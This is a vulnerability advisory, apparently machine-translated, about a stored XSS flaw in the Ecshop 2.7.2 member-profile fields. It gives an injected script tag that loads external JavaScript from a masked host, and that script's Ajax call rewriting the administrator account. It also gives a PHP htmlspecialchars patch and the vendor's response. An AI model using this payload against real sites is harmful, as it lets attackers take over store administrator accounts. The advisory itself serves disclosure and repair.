Ecshop2.7.2 persistent XSS (Administrator account available) and repair

Brief description:

When personal data is modified, Javascript code filtering is not strict enough, and XSS Code directly enters the database

Detailed description:

For Password protection issues, regular filtering is not used, and others have regular filtering. We can enter XSS in password protection, but the password protection issue is not displayed when viewing the member information in the background. Therefore, when a new "Member registration item" is added to the background of the website, the information displayed in the background is displayed. Enter the code for introducing external js: "> <script src =" http: // www. ***. com/test. js "type =" text/javascript "> </script>
The content of the external test. js file is as follows:
Ajax. call (privilege. php? Act = update, id = 1 & user_name = heihei & email = 10001@qq.com, "POST", "JSON ");

Proof of vulnerability:

Solution:

504 lines of the program

$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? 

mb_substr($_POST[$extend_field_index], 0, 99) : $_POST[$extend_field_index];

Change

$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? 

mb_substr(htmlspecialchars($_POST[$extend_field_index]), 0, 99) :

 htmlspecialchars($_POST[$extend_field_index]);

Vulnerability response vendor response:

Hazard level: Medium

Vulnerability Rank: 8

Confirmation time:

Vendor reply:

Confirmed that the patch will be released later.

Latest status:

Patch http://bbs.ecshop.com/thread-138506-1-1.html